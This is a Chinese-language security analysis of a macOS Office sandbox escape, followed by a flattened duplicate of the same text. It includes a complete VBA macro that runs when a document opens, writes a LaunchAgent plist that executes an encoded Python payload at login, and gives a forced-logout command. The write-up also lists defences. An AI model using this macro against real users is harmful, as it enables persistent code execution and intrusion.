沙箱逃逸 - Microsoft Office在MacOS上的应用
字数 1506 2025-08-20 18:17:48

MacOS上Microsoft Office沙箱逃逸技术分析

概述

本文详细分析了一种在MacOS系统上通过Microsoft Office应用实现沙箱逃逸的技术。该技术利用Office应用的临时文件处理权限漏洞,通过创建特定格式的启动项文件,最终实现在用户重新登录时执行任意代码,从而绕过MacOS的沙箱限制。

技术背景

MacOS沙箱机制

MacOS沙箱(Sandbox)是一种安全机制,用于限制应用程序对系统资源的访问。每个应用程序运行在独立的"沙箱"中,只能访问明确授权的资源。Microsoft Office for Mac应用也运行在这种沙箱环境中。

Empire框架

Empire是一个功能强大的开源C2(Command and Control)框架,最初设计用于通过PowerShell控制Windows环境,后来通过Empyre项目扩展支持MacOS系统。它提供了多种payload类型,包括二进制payload、AppleScript和Office宏。

技术细节

Office宏的工作原理

在MacOS版的Microsoft Office中,VBA宏可以通过声明外部函数来调用系统库:

Private Declare PtrSafe Function system Lib "libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) As LongPtr

这个声明允许宏通过popen函数执行系统命令。值得注意的是,VBA代码是在Microsoft Word进程内执行的,因此受到与Word相同的沙箱限制。

沙箱权限分析

通过检查Microsoft Word应用的沙箱规则,发现了一个关键权限:

com.apple.security.temporary-exception.sbpl
(allow file-read* file-write*
(require-any
(require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$"))
)
)

这个规则允许Word进程读写符合特定正则表达式格式的文件(如~$document1.docx),这是Office用于临时文件的命名格式。然而,这个规则实际上允许在文件系统的任何位置创建匹配该模式的文件。

沙箱逃逸技术

利用上述权限漏洞,攻击者可以:

  1. ~/Library/LaunchAgents/目录下创建符合~$模式的文件
  2. 该文件是一个合法的launchd plist文件,定义了一个在用户登录时自动运行的任务
  3. 当用户注销并重新登录时,系统会自动执行该plist中定义的命令

具体实现步骤如下:

  1. 创建plist文件:构造一个合法的launchd plist文件,包含要执行的payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.xpnsec.escape</string>
<key>ProgramArguments</key>
<array>
<string>python</string>
<string>-c</string>
<string>import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('BASE64_PAYLOAD'));</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
  1. 写入目标目录:利用Office的临时文件权限,将该plist写入~/Library/LaunchAgents/~$com.xpnsec.plist

  2. 触发执行:可以等待用户自然注销登录,或强制注销:

launchctl bootout gui/$UID

完整VBA实现

Private Declare PtrSafe Function system Lib "libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) As LongPtr

Private Sub Document_Open()
    Dim path As String
    Dim payload As String
    
    payload = "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('BASE64_PAYLOAD'));"
    
    path = Environ("HOME") & "/../../../../Library/LaunchAgents/~$com.xpnsec.plist"
    
    arg = "<?xml version=""1.0"" encoding=""UTF-8""?>\n" & _
          "<!DOCTYPE plist PUBLIC ""-//Apple//DTD PLIST 1.0//EN"" ""http://www.apple.com/DTDs/PropertyList-1.0.dtd"">\n" & _
          "<plist version=""1.0"">\n" & _
          "<dict>\n" & _
          "<key>Label</key>\n" & _
          "<string>com.xpnsec.sandbox</string>\n" & _
          "<key>ProgramArguments</key>\n" & _
          "<array>\n" & _
          "<string>python</string>\n" & _
          "<string>-c</string>\n" & _
          "<string>" & payload & "</string>" & _
          "</array>\n" & _
          "<key>RunAtLoad</key>\n" & _
          "<true/>\n" & _
          "</dict>\n" & _
          "</plist>"
    
    Result = system("echo """ & arg & """ > '" & path & "'", "r")
    ' 可选:强制用户注销
    ' Result = system("launchctl bootout gui/$UID", "r")
End Sub

影响范围

该技术适用于所有支持宏功能的Microsoft Office for Mac 2016应用程序,包括:

  • Microsoft Word
  • Microsoft Excel
  • 其他具有相同权限的Office应用

防御建议

  1. 禁用Office宏:对于不需要宏功能的用户,完全禁用Office宏
  2. 更新Office应用:确保使用最新版本的Microsoft Office,微软可能已修复此权限问题
  3. 监控LaunchAgents目录:监控~/Library/LaunchAgents/目录下异常文件的创建
  4. 限制Python执行:限制非特权用户执行Python脚本的能力
  5. 应用沙箱规则审查:定期审查应用程序的沙箱规则,确保没有过度宽松的权限

总结

这种沙箱逃逸技术利用了Microsoft Office在MacOS上的过度宽松的文件操作权限,通过创建特殊的启动项文件实现持久化和权限提升。它展示了即使是在沙箱环境中,不当的权限配置也可能导致严重的安全问题。防御此类攻击需要多层次的防护措施,包括最小权限原则、行为监控和及时更新。

MacOS上Microsoft Office沙箱逃逸技术分析 概述 本文详细分析了一种在MacOS系统上通过Microsoft Office应用实现沙箱逃逸的技术。该技术利用Office应用的临时文件处理权限漏洞,通过创建特定格式的启动项文件,最终实现在用户重新登录时执行任意代码,从而绕过MacOS的沙箱限制。 技术背景 MacOS沙箱机制 MacOS沙箱(Sandbox)是一种安全机制,用于限制应用程序对系统资源的访问。每个应用程序运行在独立的"沙箱"中,只能访问明确授权的资源。Microsoft Office for Mac应用也运行在这种沙箱环境中。 Empire框架 Empire是一个功能强大的开源C2(Command and Control)框架,最初设计用于通过PowerShell控制Windows环境,后来通过Empyre项目扩展支持MacOS系统。它提供了多种payload类型,包括二进制payload、AppleScript和Office宏。 技术细节 Office宏的工作原理 在MacOS版的Microsoft Office中,VBA宏可以通过声明外部函数来调用系统库: 这个声明允许宏通过 popen 函数执行系统命令。值得注意的是,VBA代码是在Microsoft Word进程内执行的,因此受到与Word相同的沙箱限制。 沙箱权限分析 通过检查Microsoft Word应用的沙箱规则,发现了一个关键权限: 这个规则允许Word进程读写符合特定正则表达式格式的文件(如 ~$document1.docx ),这是Office用于临时文件的命名格式。然而,这个规则实际上允许在文件系统的任何位置创建匹配该模式的文件。 沙箱逃逸技术 利用上述权限漏洞,攻击者可以: 在 ~/Library/LaunchAgents/ 目录下创建符合 ~$ 模式的文件 该文件是一个合法的launchd plist文件,定义了一个在用户登录时自动运行的任务 当用户注销并重新登录时,系统会自动执行该plist中定义的命令 具体实现步骤如下: 创建plist文件 :构造一个合法的launchd plist文件,包含要执行的payload: 写入目标目录 :利用Office的临时文件权限,将该plist写入 ~/Library/LaunchAgents/~$com.xpnsec.plist 触发执行 :可以等待用户自然注销登录,或强制注销: 完整VBA实现 影响范围 该技术适用于所有支持宏功能的Microsoft Office for Mac 2016应用程序,包括: Microsoft Word Microsoft Excel 其他具有相同权限的Office应用 防御建议 禁用Office宏 :对于不需要宏功能的用户,完全禁用Office宏 更新Office应用 :确保使用最新版本的Microsoft Office,微软可能已修复此权限问题 监控LaunchAgents目录 :监控 ~/Library/LaunchAgents/ 目录下异常文件的创建 限制Python执行 :限制非特权用户执行Python脚本的能力 应用沙箱规则审查 :定期审查应用程序的沙箱规则,确保没有过度宽松的权限 总结 这种沙箱逃逸技术利用了Microsoft Office在MacOS上的过度宽松的文件操作权限,通过创建特殊的启动项文件实现持久化和权限提升。它展示了即使是在沙箱环境中,不当的权限配置也可能导致严重的安全问题。防御此类攻击需要多层次的防护措施,包括最小权限原则、行为监控和及时更新。